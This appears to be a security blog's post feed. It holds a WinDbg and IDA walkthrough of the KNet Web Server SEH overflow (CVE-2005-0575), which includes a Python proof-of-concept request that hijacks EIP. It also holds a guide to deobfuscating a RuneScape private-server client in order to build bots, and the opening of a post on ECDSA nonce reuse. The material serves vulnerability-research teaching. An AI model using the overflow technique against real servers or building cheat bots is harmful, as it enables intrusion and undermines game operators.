01f6f888 00000000 ntdll!_RtlUserThreadStart+0x1b

The location of the return address for each frame is the address of the frame incremented by 0x04 in other-words, RET ADDRESS POINTER = ChildEBP + 0x04

For example, let’s take the first frame:

00 01f66f78 01311a96 main+0x1712

In this case, 0x01311a96 which is the return address, should be referenced by 0x01f66f78 + 0x04:

0:003> dds 0x01f66f78 + 0x04 L1
01f66f7c  01311a96 main+0x1a96

Afterwards, let’s check if that the return address pointer aka 0x01f66f7c is greater than the address of the destination buffer aka 0x01f66770:

0:003> ? 0x01f66f7c > 0x01f66770
Evaluate expression: 1 = 00000001

As shown by the expression above, it is! This is important because when the memory copy operation is performed it will start writing at 0x01f66770 and onwards (towards higher addresses). If in the case the return address pointer was at a lower address than the destination buffer, it would never be reached as the write operation would happen in the opposite direction.

The final step is to calculate the distance between the return address pointer and the destination buffer:

0:003> ? 0x01f66f7c - 01f66770
Evaluate expression: 2060 = 0000080c

As shown in the expression above, the offset is only 0x80c / 0n2060 bytes! This is awfully close and when revisiting the arguments of the memcpy() call itself, specifically the size, it is 0x4000 which is way more than enough to successfully overwrite the return address pointer.

So to reiterate the findings, as an attacker is able to control the contents of the values copied from one memory region to another, and the destination region is only 0x80c bytes below a pointer which references a return address and the attacker has the capability to write 0x4000 bytes, the return address pointer can be overwriten and the attacker can essentially hijack the flow of the application.

The vital lesson learned here was not to ignore any functionalities of the application especially if they deal with memory copy operations.

Conclusion

While rabbit holes may be frustrating, once figured out, they will most likely yield profound clarity and understanding. It’s always better to stumble into a rabbit hole during practice, rather than during the exam. Furthermore by highlighting your mistakes in a postmortem fashion, it will hopefully help prevent those mistakes from being repeated when they count the most.

Thanks for reading.

Tracing the KNET SEH Overflow (CVE-2005-0575)

Tue, 30 May 2023 00:00:00 +0000

Preface

Leveraging a buffer overflow to achieve successful exploitation is only half the battle, the other half is discovering the overflow in the first place. As such, the purpose of this blog post is to provide a walkthrough on discovering the overflow affecting KNet Web Server 1.04b aka CVE-2005-0575.

Exploitation

Throughout this blog post a hybrid combination of a static and dynamic analysis will be used to demonstrate the reversing process. WinDbg will be used as the debugger while IDA Pro as the disassembler.

The initial step involves identifying how user input entered the memory. In the case of the KNET application, being an HTTP server and with the overflow triggered via an HTTP request, the focus turned to sockets. Since KNET is a portable executable, it is likely utilizing the Winsock API, which facilitates communication between applications over the network. In this particular scenario, as HTTP employs TCP as the underlying transport protocol, the specific method function to investigate would be the recv() function, which does the following:

The recv function receives data from a connected socket or a bound connectionless socket.

source: https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv

When inspecting the Imports section in IDA, the recv() function is found. When analyzing the cross-references to recv(), there are only two calls to recv() discovered. This discovery is beneficial as it is expected to significantly reduce the time required for reverse engineering:

Setting breakpoints at both calls using WinDBG, the following Python script is fired off which simply just sends an HTTP request over the socket should in-turn trigger one of the breakpoints:

request = b "W00T / HTTP/1.0\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 80))
s.send(request)
s.close()

After the script is ran, one of the breakpoints is indeed hit:

KNet+0x8b36:
00408b36 e8794d0000      call    KNet+0xd8b4 (0040d8b4)

Upon closer examination, it appears that the breakpoint hit corresponds to the second invocation of the recv() function. By analyzing the last four items on the stack, valuable insights can be obtained regarding the arguments passed to the recv() call.

The function prototype for recv() is as follows:

int recv(
  [in]  SOCKET s,
  [out] char   *buf,
  [in]  int    len,
  [in]  int    flags
);

0:000> dds esp L4
0014fef8  00000af0    // socket descriptor
0014fefc  0014ff34    // buffer
0014ff00  00000008    // bytes to read
0014ff04  00000002    // flags

One of the key aspects to examine is the buffer, which acts as the storage for the data read from the socket. In the given context, it is represented as the second argument aka 0x0014ff34. Another crucial parameter is the length argument, which specifies the number of bytes to be read from the socket, which in this case is 8.

In this scenario, reading only 8 bytes from the socket is insufficient to result in any form of exploitation. To verify this further, we can proceed by stepping over the recv() call and examining the bytes extracted from the address of the buffer mentioned earlier. This allows us to observe the content retrieved from the socket:

0:000> db 0014ff34 L8
0014ff34  77 30 30 74 20 2f 20 48       w00t / H

As indicated in the output provided, it is evident that only the HTTP method and a few subsequent bytes were successfully read from the socket.

After resuming execution of the program, the second call to recv() is now triggered:

KNet+0x8a02:
00408a02 e8ad4e0000      call    KNet+0xd8b4 (0040d8b4)

Let’s perform the same steps as earlier and examine the stack to learn more about the arguments being passed to the recv() call:

0:000> dds esp L4
0014ff18  00000af0    // socket descriptor
0014ff1c  005505a8    // buffer
0014ff20  00002710    // bytes to read
0014ff24  00000000    // flags

Something that explicitly stands out here is the amount of bytes to read which is 0x2710 aka 0n10000 which relatively speaking can be considered a large buffer. Side-tangent: Interestingly enough RFC 1945 does not define a specific maximum size limit for an HTTP request; rather it’s up the server to impose the maximum size.

After stepping over the recv() call and then dumping the buffer, we can see that the full non-truncated HTTP request which was sent via the Python script was saved to memory:

0:000> db 005505a8
005505a8  77 30 30 74 20 2f 20 48-54 54 50 2f 31 2e 30 0d  w00t / HTTP/1.0.
005505b8  0a 0d 0a 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
005505c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
005505d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

With this in mind, let’s see a hardware breakpoint on the address of the buffer so that whenever the program attempts to read or write to the buffer, execution will be paused:

0:000> ba r 4 0x05505a8

The breakpoint is triggered shortly thereafter:

KNet+0x4f1f:
00404f1f 40              inc     eax

Jumping to 0x00404f1f within IDA, the following basic blocks are shown:

The observed operation involves a loop that performs byte-by-byte copying from the memory address pointed to by the EAX register into the ch register, which forms the lower 16 bits of the ECX register:

.text:00404F1D mov     ch, [eax]

Aftewards the memory address pointed to by the EAX register is incremented by 1:

.text:00404F1F inc     eax

Then the byte which was originally copied into the ch register is then moved to the memory address pointged by the EDX register:

.text:00404F20 mov     [edx], ch

EDX is then incremented by one as well:

.text:00404F22 inc     edx

Lastly the value of ch is compared to 0, and if the value is anything but zero, the loop jumps back to the start:

.text:00404F23 cmp     ch, 0
.text:00404F26 jnz     short loc_404F1D

The utilization of 0 as the comparison value in this context is due to the buffer which is responsible for storing the HTTP request was pre-initialized with zeroes. Consequently, encountering a 0 signifies the end of the data copied into the buffer; meaning that 0x00 would definitely be a bad character here.

Still there doesn’t appear to be anything inherently dangerous about this loop, so we will keep tracing the flow of the user-input until it eventually reaches the sink.

After a series of benign copy and logical operations, the program flow eventually reaches the sub_40CFA0 function, where a call to the strcpy() function is made:

Let’s set a breakpoint on the strcpy() function call and when it’s triggered, examine the arguments passed to the function:

0:000> dds esp L2
0014f97c  0014fad4    // dest
0014f980  01992f60    // src

Upon examining the src buffer, it shows that it holds a path to the index.html file, as well as contents of the HTTP request meaning it is passing user-input!

0:000> db 01992f60 L90
01992f60  43 3a 5c 50 72 6f 67 72-61 6d 20 46 69 6c 65 73  C:\Program Files
01992f70  5c 4b 4e 65 74 5c 69 6e-64 65 78 2e 68 74 6d 6c  \KNet\index.html
01992f80  00 00 00 00 00 00 00 00-6d 9a b6 c8 07 13 00 08  ........m.......
01992f90  c0 0a 7b 01 60 0e 7b 01-0a 00 00 00 c0 d0 e0 f0  ..{.`.{.........
01992fa0  b6 b7 ce 48 1f 00 00 00-ac 2f 99 01 00 40 00 80  ...H...../...@..
01992fb0  f0 bd 83 4a 00 00 00 80-05 00 00 05 07 13 00 00  ...J............
01992fc0  a0 04 99 01 00 0b 99 01-00 00 00 00 00 00 00 00  ................
01992fd0  fc bd 8f 4a 00 01 00 80-77 30 30 74 20 2f 20 48  ...J....w00t / H
01992fe0  54 54 50 2f 31 2e 30 0d-0a 0d 0a 00 8c 00 99 01  TTP/1.0.........
...

However there’s something interesting to note about the location of the destination buffer, specifically the address: 0x0014fad4.

The reason it’s interesting is because when examining the Thread Environment Block:

0:000> !teb
TEB at 00390000
    ExceptionList:        0014ffcc
    StackBase:            00150000
    StackLimit:           00145000

It is crucial to make note of the address of the ExceptionList. This is significant because the ExceptionList serves as a pointer to the head of the Structured Exception Handling (SEH) chain, which is implemented as a linked-list data structure.

In case you’re unfamiliar with SEH, basically it is a mechanism in the Windows OS which is designed to handle exceptions (both software and hardware). Each individual SEH record points to an exception handler function which is designed to deal with the unexpected event. So whenever an exception occurs, the operating system will walk to the SEH chain and invoke every exception handler until either one is found that is able to successfully deal with the exception or the default handler is reached (the last node in the list). If the default handler is reached, this will result in the operating system terminating the current process (or thread).

What makes SEH so valuable for an attacker is specifically the exception handler. By overwriting the address of one of the exception handlers and triggering an exception within the program, the operating system will execute the overwritten exception handler. This effectively will result in granting the attacker control over the program’s flow. For a great primer regarding exploiting SEH, please refer to the following resource.

One last thing to note is that the SEH lives at the base of the stack meaning at a higher memory address (remember the stack grows downward towards lower memory addresses). The diagram below will provide a clearer visual representation:

Going back to the address of the ExceptionList which is 0x0014ffcc. Now examine the address of the destination buffer, it is 0x0014fad4. This means the distance between the destination buffer and the ExceptionList is only 0x4F8 bytes aka 0n1272 which is very close! Furthermore as the address of the destination buffer is lower than the address of the ExceptionList, this means that if a large enough input is supplied (in this case 1276 bytes, the first address of the exception_handler is the ExceptionList + 4), it can overwrite the first exception handler!

Here’s the same diagram shown earlier though this time denoting how the overflow would appear (as shown by red):

To verify our hypothesis, let’s refactor the Python code which is responsible for sending the HTTP request:

request  = b"\x41" * 1300 + b" / HTTP/1.0\r\n\r\n"

This will result in the HTTP request containing 1300 arbitrary A characters, which if our hypotheis is correct, should overwrite the start of the SEH chain.

Setting a breakpoint at the strcpy() call will once again allow us to examine the arguments passed to the call:

0:000> dds esp L2
0014f97c  0014fad4    // dest
0014f980  019938b0    // src

Examining the src buffer, shows it contains our user-input:

0:000> db 019938b0
019938b0  43 3a 5c 50 72 6f 67 72-61 6d 20 46 69 6c 65 73  C:\Program Files
019938c0  5c 4b 4e 65 74 5c 41 41-41 41 41 41 41 41 41 41  \KNet\AAAAAAAAAA
019938d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
019938e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
019938f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01993900  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01993910  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01993920  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Examining the first record in the SEH chain still shows the handle is in-tact:

0:000> !teb
TEB at 00390000
    ExceptionList:        0014ffcc
    ...

0:000> dt _EXCEPTION_REGISTRATION_RECORD 0014ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0014ffe4 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77767390     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

Stepping over the call to strcpy(), we can re-examine the first record in the SEH chain:

0:000> dt _EXCEPTION_REGISTRATION_RECORD 0014ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141

As shown above, both the Next and Handler were overwritten by user-input!

Mentioned earlier that in order to trigger the SEH chain, an exception has to be raised. Typically when you have the ability to overwrite the SEH chain, it will overwrite some crucial pointers along the way which will result in an exception being raised.

After resuming the program, an Access violation is immediately raised resulting in Windows to traverse the ExceptionList, eventually invoking the overwritten exception handler. This sequence of events grants the attacker the ability to gain control of EIP:

(1d9c.1894): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00000000 ecx=0789d43e edx=00000001 esi=0014ff24 edi=00401000
eip=41414141 esp=0014fee0 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

Conclusion

As the primary objective of this blog post was to provide a comprehensive walkthrough on tracing the source of a vulnerability to the exploitation sink, the process of achieving successful exploitation is left as an excercise for the readers.

Thanks for reading.

Deobfuscating a Java Game Client

Mon, 15 May 2023 00:00:00 +0000

Introduction

This post is an extension of the “Building Bots for Java Games: A Beginner’s Guide” talk presented at BSides Prishtina 2023. As mentioned at the end of the talk, the topic of dealing with an obfuscated client was not covered.

Obfuscation, in simple terms, involves intentionally making the code difficult for humans to understand while keeping it functional. In the context of RSPS Client obfuscation, the goal is to deter, rather than completely prevent, individuals from decompiling the client and creating bots/cheat clients.

Therefore, the main objective of this blog post is to showcase various techniques that can be employed when faced with an obfuscated client. Additionally, it presents a practical case study that illustrates the application of these techniques in a real-world scenario.

If you’re interested in this topic, please check out the following blog post which links the slides and the video, as well as providing some additional context.

Tools

The following tools will be used:

Preface

From my personal observations, it appears that a significant number of RSPS Clients are built using the same boilerplate. This tendency can be attributed to the primary objective of commercial RSPS, which is focused on generating revenue. Consequently, developers often prioritize the creation of fresh content rather than rebuilding the client (or making changes under-the-hood), in which the majority of players wouldn’t notice anyways. This approach aligns with the popular adage, “If it ain’t broke, don’t fix it.”

Within the structure of an RSPS Client, it is highly probable to encounter a class known as Client, which serves as the core controller responsible for centralizing various functionalities. Embedded within this class are references to instances that would be of particular interest to bot developers, including references to the local player, NPCs, other players, and other interesting entities.

Here is an example of the Client class belonging to a 317 Client: Client.java

As such, the current goal is to locate the Client class in the obfuscated client.

The target client used for demonstration purposes in this blog post was randomly selected from Runelocus’ top list. To maintain respect for the developers and their intellectual property, the specific name of the client will not be disclosed.

Starting the deobfuscating journey

This section will be divided into multiple smaller sections, each focusing on a specific technique that can be utilized in the deobfuscation process. Each subsection will provide a detailed explanation of the technique along with a concrete example.

An effective analogy for comprehending the deobfuscation process is likening it to solving a puzzle. Initially, when you begin, it may appear that you have thousands of puzzle pieces with no clear indication of where each one fits. However, as you progressively assemble the puzzle, you start recognizing patterns that gradually make it easier to determine the correct placement of each piece. In essence, once you successfully identify the correct placement of a particular puzzle piece, it can serve as a valuable clue that offers insights into the whereabouts of the subsequent pieces.

As mentioned earlier in the Preface section, the majority of RSPS Clients will follow the same boilerplate. As such, it makes sense to find an open-source client which matches the revision of the client you are trying to deobfuscate. In this blog post, we will be using the open-source old-school RSPS Client that can be found at the following Github repository.

The next sections will assume you have already decompiled the client, I’ve found CFR to be an effective decompiler (linked in the Tools section above).

Note: A recent shift in the paradigm has introduced a two-stage structure for RSPS Game Clients. The initial stage, known as the launcher, is the component that users download. Its primary function is to validate whether the user has the latest game client installed. If not, it proceeds to download the most up-to-date client from the corresponding artifactory and saves it to disk. The second stage involves launching the game client itself (which the launcher does). In the upcoming section, our focus will be on the game client itself, rather than the launcher. Therefore, please make sure to locate the relevant client on your disk (typically found in the user’s home folder).

Class Visualizer (Static)

Class Visualizer is a really nifty tool which generates a visual diagram showcasing the relationships between classes and their respective inheritance structure.

Once Class Visualizer is loaded, click the File menu button in the navigation bar and select Load Classes -> from JAR files... and select the game client.

If successfully loaded, this is how Class Visualizer should appear:

There will be three views. On the left hand-side there will be the list of classes loaded, while in the middle will be a relations diagram, and finally a UML Diagram on the right-hand side.

Here is a follow-up diagram on how to interpret the Relations Diagram view as it will arguably be the most useful:

Note: This same information can be gleamed from the Browser View (in the left-hand side):

With the aid of Class Visualizer, we can embark on our journey through the vast collection of obfuscated classes.

In typical RSPS Client fashion, the client itself is a Java Applet bound to a JFrame. Typically there is a class called GameApplet which is responsible for building the respective frame and adding the various listeners to it:

https://github.com/TagsRocks/nardah_client/blob/master/src/com/nardah/GameApplet.java

Furthermore Client will inherit from GameApplet:

public class Client extends GameApplet {
  ...
// https://github.com/TagsRocks/nardah_client/blob/master/src/com/nardah/Client.java#L26

As such, we will need to work backwards in Class Visualizer and locate the Applet class which is a standard class bundled with the JDK:

Shown above, the xu class inherits from Applet meaning this would be the GameApplet class. However when visualizing the inheritance chain of the xu class, we notice there is no child class which inherits from it (which normally would be the Client):

Instead we see that the xu class declares a field of type xC.

Visualizing xC shows the following:

Within this visualization, we see that type jW inherits from xC, so let’s follow the trial and visualize the class:

Notice that jW implements several interfaces including MouseListener and MouseMotionListener. Looking back at the GameApplet class in the open-source client, we notice that it also implements the same interfaces:

public class GameApplet extends Applet implements Runnable, MouseListener, MouseMotionListener, MouseWheelListener, KeyListener, FocusListener, WindowListener {

// https://github.com/TagsRocks/nardah_client/blob/master/src/com/nardah/GameApplet.java#L14

Based on the information available, it can be inferred that the given class is likely the GameApplet class, although it appears to have been structured differently compared to the GameApplet class found in the open-source client.

Moreover, upon observing that type P inherits from jW, it reinforces the hypothesis that jW is indeed the GameApplet class. If this assumption holds true, it implies that P is in-fact the Client class (spoiler-alert: it is).

In summary, utilizing Class Visualizer provides a valuable advantage in obtaining a comprehensive overview of the different types comprising the application and their interconnections, offering insights into how they interact with one another.

Leveraging Heuristics (Static)

This next sub-section will describe some heuristic techniques that can be used to help deobfuscate the client.

Hardcoded Values

Although obfuscators excel at concealing the names of types and variables, they often do not obfuscate hardcoded values such as integers and strings. These values tend to remain unaltered, providing potential clues and points of reference during the deobfuscation process.

For example, here is a snippet from the target client that is interesting:

public final class jd_0 {
    public static final String[] b = new String[]{"Attack", "Defence", "Strength", "Hitpoints", "Ranged", "Prayer", "Magic", "Cooking", "Woodcutting", "Fletching", ..., "-unused-", "-unused-"};
    public static final boolean[] o = new boolean[]{true, true, true, true, true, true, true, true, true, true, true, true, true, true, ..., true, false, false};
    public static final int[] P = new int[25];

In the code snippet above, it is evident that the string array contains the names of the game’s skills. Additionally, the boolean array is likely correlated with the string array, indicating whether the specific skill works. Furthermore, the final line initializing an array of integers will most likely hold the current level (or total experience) for each skill.

The next steps would be to see where these variables are referenced (hint: Class Visualizer can help) and go from there.

Helper Methods

Building upon the previous section, it is customary to encounter helper methods within the client, particularly those aimed at facilitating network operations. Some of these helpers include:

Converting a type into its corresponding byte representation and vice-versa
Converting endianness

It is important to note that the presence and implementation of helper methods within the client may vary depending on any modifications made by the developer to the underlying boilerplate.

For instance, it is common to find a variation of a helper method that writes an integer to the buffer as a short:

public void writeShort(int i) {
  buffer[currentOffset++] = (byte) (i >> 8);
  buffer[currentOffset++] = (byte) i;
}

However, it is worth mentioning that achieving the same outcome can be accomplished through different approaches, such as utilizing ByteBuffer:

byte[] byteArray = new byte[2];
ByteBuffer buffer = ByteBuffer.wrap(byteArray);
buffer.putShort(value);

Though at the current moment, we’ll assume that the developer kept the same pattern shown in the first example.

As mentioned in the previous section, obfuscators tend to not modify hardcoded values meaning in our case, we can look for the right-shift operation that extracts the most significant byte by 8 bits:

$ grep -ir '>> 8' .

This returns 187 matches, to help cut-down on the number of matches, we can use regular expressions:

$ egrep -ir '\(byte\)\s?\(\w+ >> 8\)' .

./gp_0.java:       byArray[n3++] = (byte)(n5 >> 8);
./b_0.java:        this.b[this.o++] = (byte)(n2 >> 8);
./b_0.java:        this.b[this.o++] = (byte)(n2 >> 8);
./b_0.java:        this.b[this.o++] = (byte)(n2 >> 8);
./b_0.java:        this.b[this.o++] = (byte)(n2 >> 8);
./b_0.java:        this.b[this.o++] = (byte)(l >> 8);
./b_0.java:        this.b[this.o++] = (byte)(n2 >> 8);
./b_0.java:        this.b[this.o++] = (byte)(n2 >> 8);
./b_0.java:        this.b[this.o++] = (byte)(n2 >> 8);
./yx_2.java:       this.b[1] = (byte)(n3 >> 8);
./yx_2.java:       this.b[4] = (byte)(n4 >> 8);
./yx_2.java:       this.b[0] = (byte)(n2 >> 8);
./yx_2.java:       this.b[2] = (byte)(n5 >> 8);
./yx_2.java:       this.b[5] = (byte)(n8 >> 8);

Awesome, this cuts-down the results to a total of 3 different classes.

After further examination, b_0.java looks to be the most promising as the following additional methods were discovered:

public final void b(int n2) {
    this.b[this.o++] = (byte)n2;
  }

public final void o(int n2) {
    this.b[this.o++] = (byte)(n2 + this.p.b());
}

public final void P(int n2) {
    this.b[this.o++] = (byte)n2;
}

public final void p(int n2) {
    this.b[this.o++] = (byte)(n2 >> 8);
    this.b[this.o++] = (byte)n2;
}

public final void C(int n2) {
    this.b[this.o++] = (byte)n2;
    this.b[this.o++] = (byte)(n2 >> 8);
}

Analyzing the provided code snippets, we can infer the functionality of each method by leveraging networking knowledge and referencing the open-source client.

For example, the first method is writing a single byte to the buffer, so we can conclude this is writeByte().

The second method (o) is a bit more tricky as it appears to invoke a method on the p field which we have no clue what it is. Luckily, this is where the open-source client comes in handy:

public void writeOpcode(int i) {
  buffer[currentOffset++] = (byte) (i + encryption.getNextKey());
}

// https://github.com/TagsRocks/nardah_client/blob/a6a8fb6ab1a83b8a6e4b1bc155fdac31f7aa655c/src/com/nardah/Buffer.java#LL70C2-L73

Perfect, we can now conclude this is the writeOpcode() method.

Lastly, we can observe that the last method C appears to be doing the inverse of the previously discovered writeShort() method - instead of writing the short value in big-endian format, it writes the bytes in little-endian format.

Similar the previous section, the next steps involve tracing the references of these helper methods to identify their respective callers. As packets serve as the means of communication between the client and server, this step is crucial and can be considered one of the most significant stages in the deobfuscation process.

Debugging with IntelliJ Idea (Dynamic)

The two preceding sections explored techniques that involved a static review process, which is indeed valuable. However, it is important to note that static review alone may overlook certain aspects or behaviors of the code. To achieve comprehensive results, combining static review with dynamic analysis is highly recommended. Furthermore dynamic analysis can help speed up the review process.

One approach to achieving this comprehensive analysis is by leveraging the the built-in debugger provided by the IntelliJ IDEA IDE. It is worth noting that IntelliJ offers the capability to debug JAR files, which may be relatively unknown. Furthermore, IDEA also includes a decompiler which makes it that much easier.

To accomplish this, follow the steps outlined below:

Create a blank project in IDEA.
Open the Project Settings by clicking the Project Name in the explorer and hitting F4 (or File -> Project Structure).
Click the Libraries tab towards the left.
Within the Libraries interface, click the + and add the client jar.
Click OK towards the bottom right.

If done correctly, expand the External Libraries drop-down in the explorer and the client jar should be there. You can then expand the respective packages in the client jar and observe the decompiled classes:

The next step is to discover the location of the main method as a Run/Debug Configuration will need to be created. The easiest way to find this is to peek in META-INF/MANIFEST.MF, specifically the value belonging to the Main-Class attribute:

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: Apache Maven 3.8.6
Built-By: burak
Build-Jdk: 17.0.6
Automatic-Module-Name: com.redacted.client-build
Main-Class: com.redacted.client.awt.AwtInitialization

When looking at the definition of the main method in the AwtInitialization class, the following is seen:

public static void main(String[] var0) {
    throw new UnsupportedOperationException("Main-method not supported");
}

Initially, it might be confusing as to why the entry point of the application throws an exception. However, this behavior is a consequence of the shift in the launcher paradigm mentioned earlier. The purpose of this design is to provide a seamless experience for the player, eliminating the need to manually open the launcher (which will download the game client), and then open the game client separately. Instead, the launcher is programmed to load the game client directly into its frame, creating the illusion of a seamless transition. One advantage for developers is that this approach allows them to enforce a specific pathway, ensuring that players can only access the game client by interacting with the launcher.

There are two approaches for getting around this. The first involves decompiling the launcher to understand how it loads the game client and then replicating that process. This method requires more effort and technical knowledge. The second approach is simpler and involves adding the launcher as an additional library to the project and then creating the Run/Debug Configuration using the launcher. As such, the second method will be used.

After adding the launcher jar as an additional library, we can repeat the process of locating the main method.

Once the class containing the main method has been located, right click the class and choose `Debug ‘.main()':

This will open the Run/Debug Configuration menu. Under the Build and run section, it will most likely say module not specified. Click the dropdown and select the appropriate JDK Version and finally click Debug.

Afterwards, the client should launch.

Now, it’s time to put the debugging functionalities to the test. As a way to wrap up this blog post, we will delve into the findings obtained through static analysis, specifically focusing on verifying if the P class indeed represents the Client class and investigating the behavior of the writeOpcode() method.

In the process of confirming the writeOpcode() method, we begin by locating the class that contains this method, which in this case is b_0. It’s worth noting that obfuscators often use similar class names, differentiating them solely by case sensitivity. For instance, two distinct classes, B and b, can have entirely different functionalities. To address this, the CFR decompiler automatically renames classes when encountering such situations. It also adds a comment within the class denoting the original name of the file, as shown in the following snippet:

/*
 * Renamed from client.b
 */
public final class b_0

This means that in IDEA, we will need to look for b.java.

After locating the presumed writeOpcode() method within the b class, we can proceed by setting a breakpoint on the first line within its definition:

After running the launcher using the debugger which will in-turn load the game client, we can attempt to login to our account. As soon as we successfully login, we notice that the breakpoint is successfully hit!

In this case, the value of 0 was passed to the writeOpcode() call. What’s more interesting is that towards the left-hand sign, we can observe the call stack.

Furthermore by double clicking the previous frame, IDEA will take us to where the call to writeOpcode() was invoked as well as provide context on the state of the variables at that current time:

The call stack will be extremely helpful in understanding in how the code flows end-to-end.

It’s worth noting that we have the flexibility to customize the behavior of this specific breakpoint. Considering that the client likely includes a ping functionality to maintain communication with the server, the writeOpcode() method may be called frequently. Suspending the entire process at each invocation could make the debugging process cumbersome.

To make the breakpoint less intrusive:

Right click the breakpoint and click the More hyperlink.
Uncheck Suspend
Check Evaluate and log
- Underneath the Evaluate and log, enter the following into the input box:
  - "Client sent opcode: " + var1
    - Note: var1 is the name of the method argument.

Next, let’s proceed with performing a repeated action in the client that triggers the sending of a packet to the server. One suitable action for this purpose is sending a series of chat messages in quick succession. In our case, three chat messages were sent back-to-back.

When looking at the IDEA console, we see the breakpoint log the value of the opcodes:

From the screenshot above, you can deduce that the opcode associated with a chat message is 4.

Lastly, let’s wrap up the blog post by examining what we believe to be the Client class aka P.

As previously shown in the call stack, the invocation of the writeOpcode() method originated from within the P class.

To deepen our understanding of the P class, we can set a breakpoint on the same line that was indicated in the call stack. Since we already know that this line will be hit during execution, we can assume that the breakpoint will be invoked. There are situations where it makes sense spraying and praying breakpoints all over the class until one is hit.

As mentioned earlier, the Client class contains references to various instances of interest, such as the localPlayer instance. However, in obfuscated code, identifying the actual types of these instances can be challenging, particularly when the variables are declared with non-descriptive names, as shown in the example below:

...
private jy_0[] pR;
private xx[] p9;
private int px;
private final long[] p8;
private gU pF;
private zw_0 Cp;
private b_0 CC;
public jS[] N;
private String QK;
...

In this case, the variable names lack clear indications of their corresponding types, making it difficult to determine their actual purpose and functionality. However if we were able to examine the values at runtime, we can gain valuable insights that make it considerably easier to discern their intended types and functionalities.

After setting the new breakpoint within the P class, it should automatically hit (assuming you’re logged in). Once the breakpoint is hit, we can examine the fields within IDEA.

For example, let’s attempt to discover what value the QK variable of type String holds. To open the evaluator, hit ALT-F8 or click the little calculator icon in the Debugger view.

Once the Evaluate menu opens, type in the expression you want to evaluate, e.g. this.QK:

As shown above, we can see that this variable stores the email address associated with our account!

To conclude this section, let’s find something that may be interesting to a bot developer such as the health of our character.

In most cases, the health of a character is usually defined within the localPlayer instance, which is typically of type Player. However, in this particular client, it seems that the conventional assumption does not hold true. This introduces an interesting scenario where the developer has made a small change that deviates from the usual process, thereby throwing off the process.

Instead we can deviate to the class shown in the earlier section which initializes several arrays related to the player’s skills:

/*
 * Renamed from rw.jd
*/

public final class jd_0 {
  public static final String[] b = new String[]{"Attack", "Defence", "Strength", "Hitpoints", "Ranged", "Prayer", ...}
  ...
  public static final int[] P = new int[25];
  public static final int[] p = new int[25];
  ...

Let’s explore the two int arrays shown above. After the breakpoint is hit in the P class, we can call jd.P in the evaluator as the P int array is static:

As shown in the image above, thes appear to be the level of our character’s skills. For context, 99 is the maximum level a skill can be in Runescape (not including boosts).

Here is a screenshot of my character’s skills for comparison:

In the realm of Runescape, certain skills, especially those related to combat, can undergo boosts or hindrances. This concept introduces two distinctions: base levels and active levels. The base level represents the constant value of a skill, while the active level reflects any temporary boosts or hindrances applied to that skill. In the case of health, or hitpoints, we are specifically interested in the active level since the base level remains a constant 99.

As we didn’t have any skill boosts at the time the jd.P array was examined, we’re unsure if whether this array holds the base levels or active levels. To confirm, we’ll drink a potion that will boost some skills and hinder our hitpoints and re-examine the field.

For comparison purposes, here our how are skills appear after drinking the potion (observe the attack skill (sword) is 117 and the hitpoints (health) is now 89):

Let’s re-examine the jd.P int array once more to see if any values were changed due to the boosts:

It shows the same values meaning this array is storing the base levels of our skills. Now let’s examine the int array that’s initialized on the next line, aka p (lower-case):

As shown in the evaluation prompt above, comparing the values with the screenshot of our boosted skills, this array does indeed storing our active levels!

Conclusion

The primary objective of this blog post was to showcase various techniques that can be utilized to assist in the deobfuscation of an RSPS Client. These techniques, while specifically demonstrated in the context of RSPS, can be applied more broadly to tackle Java obfuscation in various real-world scenarios.

Please note that the techniques demonstrated above are not an exhaustive list, and there are indeed more advanced and interesting techniques available for deobfuscation. One such approach involves utilizing tools like CodeQL or Tabby to query the code based on specific patterns.

Armed with the knowledge gained from this blog post, you are now equipped to apply the techniques showcased in the talk to develop your own bot client.

Thanks for taking out the time to read this and please reach out if there any questions.

BSides Prishtina 2023 - Building Bots for Java Games - A Beginner's Guide

Mon, 15 May 2023 00:00:00 +0000

Introduction

In the summer of 2023, I had the opportunity to deliver a talk at BSides Prishtina, focusing on the development of bots for Java Games, specifically centered around Runescape Private Servers.

Slides

Video Presentation

Extension

As mentioned in the final slide of the talk, the topic of obfuscation was not covered during the presentation. However, to address this important aspect, I have prepared a follow-up blog post that delves into the practical demonstration of approaching an obfuscated client. You can find the blog post at the following link: Deobfuscating a Java Game Client

ECDSA Nonce Reuse

Thu, 29 Sep 2022 00:00:00 +0000

Preface

Disclaimer: The information presented in this blog post is not novel research, but rather a writeup demonstrating the attack. The goal of this post is to help developers and pentesters alike to be aware of this vulnerability. Furthermore instructions are provided on how to help spot this flaw and leverage exploitation by using a realistic black-box scenario involving a web application.

